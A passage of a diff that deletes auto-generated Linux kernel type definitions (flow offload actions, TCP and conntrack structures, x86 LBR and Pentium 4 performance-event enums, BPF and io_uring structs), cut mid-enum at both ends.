FLOW_ACTION_SAMPLE = 22, - FLOW_ACTION_POLICE = 23, - FLOW_ACTION_CT = 24, - FLOW_ACTION_CT_METADATA = 25, - FLOW_ACTION_MPLS_PUSH = 26, - FLOW_ACTION_MPLS_POP = 27, - FLOW_ACTION_MPLS_MANGLE = 28, - FLOW_ACTION_GATE = 29, - FLOW_ACTION_PPPOE_PUSH = 30, - FLOW_ACTION_JUMP = 31, - FLOW_ACTION_PIPE = 32, - FLOW_ACTION_VLAN_PUSH_ETH = 33, - FLOW_ACTION_VLAN_POP_ETH = 34, - FLOW_ACTION_CONTINUE = 35, - NUM_FLOW_ACTIONS = 36, -}; - -enum flow_action_mangle_base { - FLOW_ACT_MANGLE_UNSPEC = 0, - FLOW_ACT_MANGLE_HDR_TYPE_ETH = 1, - FLOW_ACT_MANGLE_HDR_TYPE_IP4 = 2, - FLOW_ACT_MANGLE_HDR_TYPE_IP6 = 3, - FLOW_ACT_MANGLE_HDR_TYPE_TCP = 4, - FLOW_ACT_MANGLE_HDR_TYPE_UDP = 5, -}; - -enum flow_action_hw_stats { - FLOW_ACTION_HW_STATS_IMMEDIATE = 1, - FLOW_ACTION_HW_STATS_DELAYED = 2, - FLOW_ACTION_HW_STATS_ANY = 3, - FLOW_ACTION_HW_STATS_DISABLED = 4, - FLOW_ACTION_HW_STATS_DONT_CARE = 7, -}; - -typedef void (*action_destr)(void *); - -struct nf_flowtable; - -struct action_gate_entry; - -struct flow_action_entry { - enum flow_action_id id; - u32 hw_index; - enum flow_action_hw_stats hw_stats; - action_destr destructor; - void *destructor_priv; - union { - u32 chain_index; - struct net_device *dev; - struct { - u16 vid; - __be16 proto; - u8 prio; - } vlan; - struct { - unsigned char dst[6]; - unsigned char src[6]; - } vlan_push_eth; - struct { - enum flow_action_mangle_base htype; - u32 offset; - u32 mask; - u32 val; - } mangle; - struct ip_tunnel_info *tunnel; - u32 csum_flags; - u32 mark; - u16 ptype; - u16 rx_queue; - u32 priority; - struct { - u32 ctx; - u32 index; - u8 vf; - } queue; - struct { - struct psample_group *psample_group; - u32 rate; - u32 trunc_size; - bool truncate; - } sample; - struct { - u32 burst; - u64 rate_bytes_ps; - u64 peakrate_bytes_ps; - u32 avrate; - u16 overhead; - u64 burst_pkt; - u64 rate_pkt_ps; - u32 mtu; - struct { - enum flow_action_id act_id; - u32 extval; - } exceed; - struct { - enum flow_action_id act_id; - u32 extval; - } notexceed; - } police; - struct { - int action; - u16 zone; - struct nf_flowtable *flow_table; - } ct; - struct { - long unsigned int cookie; - u32 mark; - u32 labels[4]; - bool orig_dir; - } ct_metadata; - struct { - u32 label; - __be16 proto; - u8 tc; - u8 bos; - u8 ttl; - } mpls_push; - struct { - __be16 proto; - } mpls_pop; - struct { - u32 label; - u8 tc; - u8 bos; - u8 ttl; - } mpls_mangle; - struct { - s32 prio; - u64 basetime; - u64 cycletime; - u64 cycletimeext; - u32 num_entries; - struct action_gate_entry *entries; - } gate; - struct { - u16 sid; - } pppoe; - }; - struct flow_action_cookie *cookie; -}; - -struct flow_action { - unsigned int num_entries; - struct flow_action_entry entries[0]; -}; - -struct flow_rule { - struct flow_match match; - struct flow_action action; -}; - -struct flow_stats { - u64 pkts; - u64 bytes; - u64 drops; - u64 lastused; - enum flow_action_hw_stats used_hw_stats; - bool used_hw_stats_valid; -}; - -struct flow_block_cb; - -struct flow_block_indr { - struct list_head list; - struct net_device *dev; - struct Qdisc *sch; - enum flow_block_binder_type binder_type; - void *data; - void *cb_priv; - void (*cleanup)(struct flow_block_cb *); -}; - -struct flow_block_cb { - struct list_head driver_list; - struct list_head list; - flow_setup_cb_t *cb; - void *cb_ident; - void *cb_priv; - void (*release)(void *); - struct flow_block_indr indr; - unsigned int refcnt; -}; - -enum offload_act_command { - FLOW_ACT_REPLACE = 0, - FLOW_ACT_DESTROY = 1, - FLOW_ACT_STATS = 2, -}; - -struct flow_offload_action { - struct netlink_ext_ack *extack; - enum offload_act_command command; - enum flow_action_id id; - u32 index; - struct flow_stats stats; - struct flow_action action; -}; - -typedef int flow_indr_block_bind_cb_t(struct net_device *, struct Qdisc *, void *, enum tc_setup_type, void *, void *, void (*)(struct flow_block_cb *)); - -struct flow_indr_dev { - struct list_head list; - flow_indr_block_bind_cb_t *cb; - void *cb_priv; - refcount_t refcnt; -}; - -struct flow_indir_dev_info { - void *data; - struct net_device *dev; - struct Qdisc *sch; - enum tc_setup_type type; - void (*cleanup)(struct flow_block_cb *); - struct list_head list; - enum flow_block_command command; - enum flow_block_binder_type binder_type; - struct list_head *cb_list; -}; - -enum ip_conntrack_expect_events { - IPEXP_NEW = 0, - IPEXP_DESTROY = 1, -}; - -struct nf_conntrack_tuple_mask { - struct { - union nf_inet_addr u3; - union nf_conntrack_man_proto u; - } src; -}; - -struct nf_conntrack_expect { - struct hlist_node lnode; - struct hlist_node hnode; - struct nf_conntrack_tuple tuple; - struct nf_conntrack_tuple_mask mask; - void (*expectfn)(struct nf_conn *, struct nf_conntrack_expect *); - struct nf_conntrack_helper *helper; - struct nf_conn *master; - struct timer_list timeout; - refcount_t use; - unsigned int flags; - unsigned int class; - union nf_inet_addr saved_addr; - union nf_conntrack_man_proto saved_proto; - enum ip_conntrack_dir dir; - struct callback_head rcu; -}; - -struct sk_buff_fclones { - struct sk_buff skb1; - struct sk_buff skb2; - refcount_t fclone_ref; -}; - -enum sk_pacing { - SK_PACING_NONE = 0, - SK_PACING_NEEDED = 1, - SK_PACING_FQ = 2, -}; - -enum { - TCP_NO_QUEUE = 0, - TCP_RECV_QUEUE = 1, - TCP_SEND_QUEUE = 2, - TCP_QUEUES_NR = 3, -}; - -enum tsq_flags { - TSQF_THROTTLED = 1, - TSQF_QUEUED = 2, - TCPF_TSQ_DEFERRED = 4, - TCPF_WRITE_TIMER_DEFERRED = 8, - TCPF_DELACK_TIMER_DEFERRED = 16, - TCPF_MTU_REDUCED_DEFERRED = 32, -}; - -enum { - BPF_WRITE_HDR_TCP_CURRENT_MSS = 1, - BPF_WRITE_HDR_TCP_SYNACK_COOKIE = 2, -}; - -struct tcp_out_options { - u16 options; - u16 mss; - u8 ws; - u8 num_sack_blocks; - u8 hash_size; - u8 bpf_opt_len; - __u8 *hash_location; - __u32 tsval; - __u32 tsecr; - struct tcp_fastopen_cookie *fastopen_cookie; - struct mptcp_out_options mptcp; -}; - -struct tsq_tasklet { - struct tasklet_struct tasklet; - struct list_head head; -}; - -struct arch_lbr_state { - u64 lbr_ctl; - u64 lbr_depth; - u64 ler_from; - u64 ler_to; - u64 ler_info; - struct lbr_entry entries[0]; -}; - -union cpuid28_eax { - struct { - unsigned int lbr_depth_mask: 8; - unsigned int reserved: 22; - unsigned int lbr_deep_c_reset: 1; - unsigned int lbr_lip: 1; - } split; - unsigned int full; -}; - -union cpuid28_ebx { - struct { - unsigned int lbr_cpl: 1; - unsigned int lbr_filter: 1; - unsigned int lbr_call_stack: 1; - } split; - unsigned int full; -}; - -union cpuid28_ecx { - struct { - unsigned int lbr_mispred: 1; - unsigned int lbr_timed_lbr: 1; - unsigned int lbr_br_type: 1; - } split; - unsigned int full; -}; - -struct x86_pmu_lbr { - unsigned int nr; - unsigned int from; - unsigned int to; - unsigned int info; -}; - -struct x86_perf_task_context_opt { - int lbr_callstack_users; - int lbr_stack_state; - int log_id; -}; - -struct x86_perf_task_context { - u64 lbr_sel; - int tos; - int valid_lbrs; - struct x86_perf_task_context_opt opt; - struct lbr_entry lbr[32]; -}; - -struct x86_perf_task_context_arch_lbr { - struct x86_perf_task_context_opt opt; - struct lbr_entry entries[0]; -}; - -struct x86_perf_task_context_arch_lbr_xsave { - struct x86_perf_task_context_opt opt; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - union { - struct xregs_state xsave; - struct { - struct fxregs_state i387; - struct xstate_header header; - struct arch_lbr_state lbr; - long: 64; - long: 64; - long: 64; - }; - }; -}; - -enum { - LBR_NONE = 0, - LBR_VALID = 1, -}; - -enum { - ARCH_LBR_BR_TYPE_JCC = 0, - ARCH_LBR_BR_TYPE_NEAR_IND_JMP = 1, - ARCH_LBR_BR_TYPE_NEAR_REL_JMP = 2, - ARCH_LBR_BR_TYPE_NEAR_IND_CALL = 3, - ARCH_LBR_BR_TYPE_NEAR_REL_CALL = 4, - ARCH_LBR_BR_TYPE_NEAR_RET = 5, - ARCH_LBR_BR_TYPE_KNOWN_MAX = 5, - ARCH_LBR_BR_TYPE_MAP_MAX = 16, -}; - -struct amd_nb_bus_dev_range { - u8 bus; - u8 dev_base; - u8 dev_limit; -}; - -struct ce_unbind { - struct clock_event_device *ce; - int res; -}; - -struct audit_fsnotify_mark { - dev_t dev; - long unsigned int ino; - char *path; - struct fsnotify_mark mark; - struct audit_krule *rule; -}; - -struct trace_probe_log { - const char *subsystem; - const char **argv; - int argc; - int index; -}; - -struct bpf_dispatcher_prog { - struct bpf_prog *prog; - refcount_t users; -}; - -struct bpf_dispatcher { - struct mutex mutex; - void *func; - struct bpf_dispatcher_prog progs[48]; - int num_progs; - void *image; - void *rw_image; - u32 image_off; - struct bpf_ksym ksym; - struct static_call_key *sc_key; - void *sc_tramp; -}; - -struct bpf_binary_header { - u32 size; - long: 0; - u8 image[0]; -}; - -typedef void (*bpf_jit_fill_hole_t)(void *, unsigned int); - -struct file_handle { - __u32 handle_bytes; - int handle_type; - unsigned char f_handle[0]; -}; - -struct io_uring_sync_cancel_reg { - __u64 addr; - __s32 fd; - __u32 flags; - struct __kernel_timespec timeout; - __u64 pad[4]; -}; - -struct io_poll { - struct file *file; - struct wait_queue_head *head; - __poll_t events; - struct wait_queue_entry wait; -}; - -struct io_cache_entry { - struct hlist_node node; -}; - -struct async_poll { - union { - struct io_poll poll; - struct io_cache_entry cache; - }; - struct io_poll *double_poll; -}; - -enum io_wq_cancel { - IO_WQ_CANCEL_OK = 0, - IO_WQ_CANCEL_RUNNING = 1, - IO_WQ_CANCEL_NOTFOUND = 2, -}; - -typedef bool work_cancel_fn(struct io_wq_work *, void *); - -struct io_tctx_node { - struct list_head ctx_node; - struct task_struct *task; - struct io_ring_ctx *ctx; -}; - -struct io_cancel { - struct file *file; - u64 addr; - u32 flags; - s32 fd; -}; - -typedef unsigned int u_int; - -struct fb_cmap_user { - __u32 start; - __u32 len; - __u16 *red; - __u16 *green; - __u16 *blue; - __u16 *transp; -}; - -typedef acpi_status (*acpi_repair_function)(struct acpi_evaluate_info *, union acpi_operand_object **); - -struct acpi_repair_info { - char name[4]; - acpi_repair_function repair_function; -}; - -enum gpiod_flags { - GPIOD_ASIS = 0, - GPIOD_IN = 1, - GPIOD_OUT_LOW = 3, - GPIOD_OUT_HIGH = 7, - GPIOD_OUT_LOW_OPEN_DRAIN = 11, - GPIOD_OUT_HIGH_OPEN_DRAIN = 15, -}; - -struct uart_match { - struct uart_port *port; - struct uart_driver *driver; -}; - -struct learning_pkt { - u8 mac_dst[6]; - u8 mac_src[6]; - __be16 type; - u8 padding[46]; -}; - -struct arp_pkt { - __be16 hw_addr_space; - __be16 prot_addr_space; - u8 hw_addr_len; - u8 prot_addr_len; - __be16 op_code; - u8 mac_src[6]; - __be32 ip_src; - u8 mac_dst[6]; - __be32 ip_dst; -} __attribute__((packed)); - -struct alb_walk_data { - struct bonding *bond; - struct slave *slave; - const u8 *mac_addr; - bool strict_match; -}; - -enum netlink_attribute_type { - NL_ATTR_TYPE_INVALID = 0, - NL_ATTR_TYPE_FLAG = 1, - NL_ATTR_TYPE_U8 = 2, - NL_ATTR_TYPE_U16 = 3, - NL_ATTR_TYPE_U32 = 4, - NL_ATTR_TYPE_U64 = 5, - NL_ATTR_TYPE_S8 = 6, - NL_ATTR_TYPE_S16 = 7, - NL_ATTR_TYPE_S32 = 8, - NL_ATTR_TYPE_S64 = 9, - NL_ATTR_TYPE_BINARY = 10, - NL_ATTR_TYPE_STRING = 11, - NL_ATTR_TYPE_NUL_STRING = 12, - NL_ATTR_TYPE_NESTED = 13, - NL_ATTR_TYPE_NESTED_ARRAY = 14, - NL_ATTR_TYPE_BITFIELD32 = 15, -}; - -enum netlink_policy_type_attr { - NL_POLICY_TYPE_ATTR_UNSPEC = 0, - NL_POLICY_TYPE_ATTR_TYPE = 1, - NL_POLICY_TYPE_ATTR_MIN_VALUE_S = 2, - NL_POLICY_TYPE_ATTR_MAX_VALUE_S = 3, - NL_POLICY_TYPE_ATTR_MIN_VALUE_U = 4, - NL_POLICY_TYPE_ATTR_MAX_VALUE_U = 5, - NL_POLICY_TYPE_ATTR_MIN_LENGTH = 6, - NL_POLICY_TYPE_ATTR_MAX_LENGTH = 7, - NL_POLICY_TYPE_ATTR_POLICY_IDX = 8, - NL_POLICY_TYPE_ATTR_POLICY_MAXTYPE = 9, - NL_POLICY_TYPE_ATTR_BITFIELD32_MASK = 10, - NL_POLICY_TYPE_ATTR_PAD = 11, - NL_POLICY_TYPE_ATTR_MASK = 12, - __NL_POLICY_TYPE_ATTR_MAX = 13, - NL_POLICY_TYPE_ATTR_MAX = 12, -}; - -struct netlink_policy_dump_state { - unsigned int policy_idx; - unsigned int attr_idx; - unsigned int n_alloc; - struct { - const struct nla_policy *policy; - unsigned int maxtype; - } policies[0]; -}; - -typedef int (*dummy_ops_test_ret_fn)(struct bpf_dummy_ops_state *, ...); - -struct bpf_dummy_ops_test_args { - u64 args[12]; - struct bpf_dummy_ops_state state; -}; - -struct nf_ct_seqadj { - u32 correction_pos; - s32 offset_before; - s32 offset_after; -}; - -struct nf_conn_seqadj { - struct nf_ct_seqadj seq[2]; -}; - -struct tcp_md5sig { - struct __kernel_sockaddr_storage tcpm_addr; - __u8 tcpm_flags; - __u8 tcpm_prefixlen; - __u16 tcpm_keylen; - int tcpm_ifindex; - __u8 tcpm_key[80]; -}; - -struct tcp_timewait_sock { - struct inet_timewait_sock tw_sk; - u32 tw_rcv_wnd; - u32 tw_ts_offset; - u32 tw_ts_recent; - u32 tw_last_oow_ack_time; - int tw_ts_recent_stamp; - u32 tw_tx_delay; - struct tcp_md5sig_key *tw_md5_key; -}; - -struct ip_reply_arg { - struct kvec iov[1]; - int flags; - __wsum csum; - int csumoffset; - int bound_dev_if; - u8 tos; - kuid_t uid; -}; - -struct icmp_err { - int errno; - unsigned int fatal: 1; -}; - -enum tcp_tw_status { - TCP_TW_SUCCESS = 0, - TCP_TW_RST = 1, - TCP_TW_ACK = 2, - TCP_TW_SYN = 3, -}; - -struct tcp4_pseudohdr { - __be32 saddr; - __be32 daddr; - __u8 pad; - __u8 protocol; - __be16 len; -}; - -struct ahash_request; - -struct tcp_md5sig_pool { - struct ahash_request *md5_req; - void *scratch; -}; - -struct ahash_request { - struct crypto_async_request base; - unsigned int nbytes; - struct scatterlist *src; - u8 *result; - void *priv; - void *__ctx[0]; -}; - -enum tcp_seq_states { - TCP_SEQ_STATE_LISTENING = 0, - TCP_SEQ_STATE_ESTABLISHED = 1, -}; - -struct tcp_seq_afinfo { - sa_family_t family; -}; - -struct tcp_iter_state { - struct seq_net_private p; - enum tcp_seq_states state; - struct sock *syn_wait_sk; - int bucket; - int offset; - int sbucket; - int num; - loff_t last_pos; -}; - -struct crypto_ahash { - int (*init)(struct ahash_request *); - int (*update)(struct ahash_request *); - int (*final)(struct ahash_request *); - int (*finup)(struct ahash_request *); - int (*digest)(struct ahash_request *); - int (*export)(struct ahash_request *, void *); - int (*import)(struct ahash_request *, const void *); - int (*setkey)(struct crypto_ahash *, const u8 *, unsigned int); - unsigned int reqsize; - struct crypto_tfm base; -}; - -struct bpf_tcp_iter_state { - struct tcp_iter_state state; - unsigned int cur_sk; - unsigned int end_sk; - unsigned int max_sk; - struct sock **batch; - bool st_bucket_done; -}; - -struct bpf_iter__tcp { - union { - struct bpf_iter_meta *meta; - }; - union { - struct sock_common *sk_common; - }; - uid_t uid; -}; - -enum P4_EVENTS { - P4_EVENT_TC_DELIVER_MODE = 0, - P4_EVENT_BPU_FETCH_REQUEST = 1, - P4_EVENT_ITLB_REFERENCE = 2, - P4_EVENT_MEMORY_CANCEL = 3, - P4_EVENT_MEMORY_COMPLETE = 4, - P4_EVENT_LOAD_PORT_REPLAY = 5, - P4_EVENT_STORE_PORT_REPLAY = 6, - P4_EVENT_MOB_LOAD_REPLAY = 7, - P4_EVENT_PAGE_WALK_TYPE = 8, - P4_EVENT_BSQ_CACHE_REFERENCE = 9, - P4_EVENT_IOQ_ALLOCATION = 10, - P4_EVENT_IOQ_ACTIVE_ENTRIES = 11, - P4_EVENT_FSB_DATA_ACTIVITY = 12, - P4_EVENT_BSQ_ALLOCATION = 13, - P4_EVENT_BSQ_ACTIVE_ENTRIES = 14, - P4_EVENT_SSE_INPUT_ASSIST = 15, - P4_EVENT_PACKED_SP_UOP = 16, - P4_EVENT_PACKED_DP_UOP = 17, - P4_EVENT_SCALAR_SP_UOP = 18, - P4_EVENT_SCALAR_DP_UOP = 19, - P4_EVENT_64BIT_MMX_UOP = 20, - P4_EVENT_128BIT_MMX_UOP = 21, - P4_EVENT_X87_FP_UOP = 22, - P4_EVENT_TC_MISC = 23, - P4_EVENT_GLOBAL_POWER_EVENTS = 24, - P4_EVENT_TC_MS_XFER = 25, - P4_EVENT_UOP_QUEUE_WRITES = 26, - P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE = 27, - P4_EVENT_RETIRED_BRANCH_TYPE = 28, - P4_EVENT_RESOURCE_STALL = 29, - P4_EVENT_WC_BUFFER = 30, - P4_EVENT_B2B_CYCLES = 31, - P4_EVENT_BNR = 32, - P4_EVENT_SNOOP = 33, - P4_EVENT_RESPONSE = 34, - P4_EVENT_FRONT_END_EVENT = 35, - P4_EVENT_EXECUTION_EVENT = 36, - P4_EVENT_REPLAY_EVENT = 37, - P4_EVENT_INSTR_RETIRED = 38, - P4_EVENT_UOPS_RETIRED = 39, - P4_EVENT_UOP_TYPE = 40, - P4_EVENT_BRANCH_RETIRED = 41, - P4_EVENT_MISPRED_BRANCH_RETIRED = 42, - P4_EVENT_X87_ASSIST = 43, - P4_EVENT_MACHINE_CLEAR = 44, - P4_EVENT_INSTR_COMPLETED = 45, -}; - -enum P4_EVENT_OPCODES { - P4_EVENT_TC_DELIVER_MODE_OPCODE = 257, - P4_EVENT_BPU_FETCH_REQUEST_OPCODE = 768, - P4_EVENT_ITLB_REFERENCE_OPCODE = 6147, - P4_EVENT_MEMORY_CANCEL_OPCODE = 517, - P4_EVENT_MEMORY_COMPLETE_OPCODE = 2050, - P4_EVENT_LOAD_PORT_REPLAY_OPCODE = 1026, - P4_EVENT_STORE_PORT_REPLAY_OPCODE = 1282, - P4_EVENT_MOB_LOAD_REPLAY_OPCODE = 770, - P4_EVENT_PAGE_WALK_TYPE_OPCODE = 260, - P4_EVENT_BSQ_CACHE_REFERENCE_OPCODE = 3079, - P4_EVENT_IOQ_ALLOCATION_OPCODE = 774, - P4_EVENT_IOQ_ACTIVE_ENTRIES_OPCODE = 6662, - P4_EVENT_FSB_DATA_ACTIVITY_OPCODE = 5894, - P4_EVENT_BSQ_ALLOCATION_OPCODE = 1287, - P4_EVENT_BSQ_ACTIVE_ENTRIES_OPCODE = 1543, - P4_EVENT_SSE_INPUT_ASSIST_OPCODE = 13313, - P4_EVENT_PACKED_SP_UOP_OPCODE = 2049, - P4_EVENT_PACKED_DP_UOP_OPCODE = 3073, - P4_EVENT_SCALAR_SP_UOP_OPCODE = 2561, - P4_EVENT_SCALAR_DP_UOP_OPCODE = 3585, - P4_EVENT_64BIT_MMX_UOP_OPCODE = 513, - P4_EVENT_128BIT_MMX_UOP_OPCODE = 6657, - P4_EVENT_X87_FP_UOP_OPCODE = 1025, - P4_EVENT_TC_MISC_OPCODE = 1537, - P4_EVENT_GLOBAL_POWER_EVENTS_OPCODE = 4870, - P4_EVENT_TC_MS_XFER_OPCODE = 1280, - P4_EVENT_UOP_QUEUE_WRITES_OPCODE = 2304, - P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE_OPCODE = 1282, - P4_EVENT_RETIRED_BRANCH_TYPE_OPCODE = 1026, - P4_EVENT_RESOURCE_STALL_OPCODE = 257, - P4_EVENT_WC_BUFFER_OPCODE = 1285, - P4_EVENT_B2B_CYCLES_OPCODE = 5635, - P4_EVENT_BNR_OPCODE = 2051, - P4_EVENT_SNOOP_OPCODE = 1539, - P4_EVENT_RESPONSE_OPCODE = 1027, - P4_EVENT_FRONT_END_EVENT_OPCODE = 2053, - P4_EVENT_EXECUTION_EVENT_OPCODE = 3077, - P4_EVENT_REPLAY_EVENT_OPCODE = 2309, - P4_EVENT_INSTR_RETIRED_OPCODE = 516, - P4_EVENT_UOPS_RETIRED_OPCODE = 260, - P4_EVENT_UOP_TYPE_OPCODE = 514, - P4_EVENT_BRANCH_RETIRED_OPCODE = 1541, - P4_EVENT_MISPRED_BRANCH_RETIRED_OPCODE = 772, - P4_EVENT_X87_ASSIST_OPCODE = 773, - P4_EVENT_MACHINE_CLEAR_OPCODE = 517, - P4_EVENT_INSTR_COMPLETED_OPCODE = 1796, -}; - -enum P4_ESCR_EMASKS { - P4_EVENT_TC_DELIVER_MODE__DD = 512, - P4_EVENT_TC_DELIVER_MODE__DB = 1024, - P4_EVENT_TC_DELIVER_MODE__DI = 2048, - P4_EVENT_TC_DELIVER_MODE__BD = 4096, - P4_EVENT_TC_DELIVER_MODE__BB = 8192, - P4_EVENT_TC_DELIVER_MODE__BI = 16384, - P4_EVENT_TC_DELIVER_MODE__ID = 32768, - P4_EVENT_BPU_FETCH_REQUEST__TCMISS = 512, - P4_EVENT_ITLB_REFERENCE__HIT = 512, - P4_EVENT_ITLB_REFERENCE__MISS = 1024, - P4_EVENT_ITLB_REFERENCE__HIT_UK = 2048, - P4_EVENT_MEMORY_CANCEL__ST_RB_FULL = 2048, - P4_EVENT_MEMORY_CANCEL__64K_CONF = 4096, - P4_EVENT_MEMORY_COMPLETE__LSC = 512, - P4_EVENT_MEMORY_COMPLETE__SSC = 1024, - P4_EVENT_LOAD_PORT_REPLAY__SPLIT_LD = 1024, - P4_EVENT_STORE_PORT_REPLAY__SPLIT_ST = 1024, - P4_EVENT_MOB_LOAD_REPLAY__NO_STA = 1024, - P4_EVENT_MOB_LOAD_REPLAY__NO_STD = 4096, - P4_EVENT_MOB_LOAD_REPLAY__PARTIAL_DATA = 8192, - P4_EVENT_MOB_LOAD_REPLAY__UNALGN_ADDR = 16384, - P4_EVENT_PAGE_WALK_TYPE__DTMISS = 512, - P4_EVENT_PAGE_WALK_TYPE__ITMISS = 1024, - P4_EVENT_BSQ_CACHE_REFERENCE__RD_2ndL_HITS = 512, - P4_EVENT_BSQ_CACHE_REFERENCE__RD_2ndL_HITE = 1024, - P4_EVENT_BSQ_CACHE_REFERENCE__RD_2ndL_HITM = 2048, - P4_EVENT_BSQ_CACHE_REFERENCE__RD_3rdL_HITS = 4096, - P4_EVENT_BSQ_CACHE_REFERENCE__RD_3rdL_HITE = 8192, - P4_EVENT_BSQ_CACHE_REFERENCE__RD_3rdL_HITM = 16384, - P4_EVENT_BSQ_CACHE_REFERENCE__RD_2ndL_MISS = 131072, - P4_EVENT_BSQ_CACHE_REFERENCE__RD_3rdL_MISS = 262144, - P4_EVENT_BSQ_CACHE_REFERENCE__WR_2ndL_MISS = 524288, - P4_EVENT_IOQ_ALLOCATION__DEFAULT = 512, - P4_EVENT_IOQ_ALLOCATION__ALL_READ = 16384, - P4_EVENT_IOQ_ALLOCATION__ALL_WRITE = 32768, - P4_EVENT_IOQ_ALLOCATION__MEM_UC = 65536, - P4_EVENT_IOQ_ALLOCATION__MEM_WC = 131072, - P4_EVENT_IOQ_ALLOCATION__MEM_WT = 262144, - P4_EVENT_IOQ_ALLOCATION__MEM_WP = 524288, - P4_EVENT_IOQ_ALLOCATION__MEM_WB = 1048576, - P4_EVENT_IOQ_ALLOCATION__OWN = 4194304, - P4_EVENT_IOQ_ALLOCATION__OTHER = 8388608, - P4_EVENT_IOQ_ALLOCATION__PREFETCH = 16777216, - P4_EVENT_IOQ_ACTIVE_ENTRIES__DEFAULT = 512, - P4_EVENT_IOQ_ACTIVE_ENTRIES__ALL_READ = 16384, - P4_EVENT_IOQ_ACTIVE_ENTRIES__ALL_WRITE = 32768, - P4_EVENT_IOQ_ACTIVE_ENTRIES__MEM_UC = 65536, - P4_EVENT_IOQ_ACTIVE_ENTRIES__MEM_WC = 131072, - P4_EVENT_IOQ_ACTIVE_ENTRIES__MEM_WT = 262144, - P4_EVENT_IOQ_ACTIVE_ENTRIES__MEM_WP = 524288, - P4_EVENT_IOQ_ACTIVE_ENTRIES__MEM_WB = 1048576, - P4_EVENT_IOQ_ACTIVE_ENTRIES__OWN = 4194304, - P4_EVENT_IOQ_ACTIVE_ENTRIES__OTHER = 8388608, - P4_EVENT_IOQ_ACTIVE_ENTRIES__PREFETCH = 16777216, - P4_EVENT_FSB_DATA_ACTIVITY__DRDY_DRV = 512, - P4_EVENT_FSB_DATA_ACTIVITY__DRDY_OWN = 1024, - P4_EVENT_FSB_DATA_ACTIVITY__DRDY_OTHER = 2048, - P4_EVENT_FSB_DATA_ACTIVITY__DBSY_DRV = 4096, - P4_EVENT_FSB_DATA_ACTIVITY__DBSY_OWN = 8192, - P4_EVENT_FSB_DATA_ACTIVITY__DBSY_OTHER = 16384, - P4_EVENT_BSQ_ALLOCATION__REQ_TYPE0 = 512, - P4_EVENT_BSQ_ALLOCATION__REQ_TYPE1 = 1024, - P4_EVENT_BSQ_ALLOCATION__REQ_LEN0 = 2048, - P4_EVENT_BSQ_ALLOCATION__REQ_LEN1 = 4096, - P4_EVENT_BSQ_ALLOCATION__REQ_IO_TYPE = 16384, - P4_EVENT_BSQ_ALLOCATION__REQ_LOCK_TYPE = 32768, - P4_EVENT_BSQ_ALLOCATION__REQ_CACHE_TYPE = 65536, - P4_EVENT_BSQ_ALLOCATION__REQ_SPLIT_TYPE = 131072, - P4_EVENT_BSQ_ALLOCATION__REQ_DEM_TYPE = 262144, - P4_EVENT_BSQ_ALLOCATION__REQ_ORD_TYPE = 524288, - P4_EVENT_BSQ_ALLOCATION__MEM_TYPE0 = 1048576, - P4_EVENT_BSQ_ALLOCATION__MEM_TYPE1 = 2097152, - P4_EVENT_BSQ_ALLOCATION__MEM_TYPE2 = 4194304, - P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_TYPE0 = 512, - P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_TYPE1 = 1024, - P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_LEN0 = 2048, - P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_LEN1 = 4096, - P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_IO_TYPE = 16384, - P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_LOCK_TYPE = 32768, - P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_CACHE_TYPE = 65536, - P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_SPLIT_TYPE = 131072, - P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_DEM_TYPE = 262144, - P4_EVENT_BSQ_ACTIVE_ENTRIES__REQ_ORD_TYPE = 524288, - P4_EVENT_BSQ_ACTIVE_ENTRIES__MEM_TYPE0 = 1048576, - P4_EVENT_BSQ_ACTIVE_ENTRIES__MEM_TYPE1 = 2097152, - P4_EVENT_BSQ_ACTIVE_ENTRIES__MEM_TYPE2 = 4194304, - P4_EVENT_SSE_INPUT_ASSIST__ALL = 16777216, - P4_EVENT_PACKED_SP_UOP__ALL = 16777216, - P4_EVENT_PACKED_DP_UOP__ALL = 16777216, - P4_EVENT_SCALAR_SP_UOP__ALL = 16777216, - P4_EVENT_SCALAR_DP_UOP__ALL = 16777216, - P4_EVENT_64BIT_MMX_UOP__ALL = 16777216, - P4_EVENT_128BIT_MMX_UOP__ALL = 16777216, - P4_EVENT_X87_FP_UOP__ALL = 16777216, - P4_EVENT_TC_MISC__FLUSH = 8192, - P4_EVENT_GLOBAL_POWER_EVENTS__RUNNING = 512, - P4_EVENT_TC_MS_XFER__CISC = 512, - P4_EVENT_UOP_QUEUE_WRITES__FROM_TC_BUILD = 512, - P4_EVENT_UOP_QUEUE_WRITES__FROM_TC_DELIVER = 1024, - P4_EVENT_UOP_QUEUE_WRITES__FROM_ROM = 2048, - P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE__CONDITIONAL = 1024, - P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE__CALL = 2048, - P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE__RETURN = 4096, - P4_EVENT_RETIRED_MISPRED_BRANCH_TYPE__INDIRECT = 8192, - P4_EVENT_RETIRED_BRANCH_TYPE__CONDITIONAL = 1024, - P4_EVENT_RETIRED_BRANCH_TYPE__CALL = 2048, - P4_EVENT_RETIRED_BRANCH_TYPE__RETURN = 4096, - P4_EVENT_RETIRED_BRANCH_TYPE__INDIRECT = 8192, - P4_EVENT_RESOURCE_STALL__SBFULL = 16384, - P4_EVENT_WC_BUFFER__WCB_EVICTS = 512, - P4_EVENT_WC_BUFFER__WCB_FULL_EVICTS = 1024, - P4_EVENT_FRONT_END_EVENT__NBOGUS = 512, - P4_EVENT_FRONT_END_EVENT__BOGUS = 1024, - P4_EVENT_EXECUTION_EVENT__NBOGUS0 = 512, - P4_EVENT_EXECUTION_EVENT__NBOGUS1 = 1024, - P4_EVENT_EXECUTION_EVENT__NBOGUS2 = 2048, - P4_EVENT_EXECUTION_EVENT__NBOGUS3 = 4096, - P4_EVENT_EXECUTION_EVENT__BOGUS0 = 8192, - P4_EVENT_EXECUTION_EVENT__BOGUS1 = 16384, - P4_EVENT_EXECUTION_EVENT__BOGUS2 = 32768, - 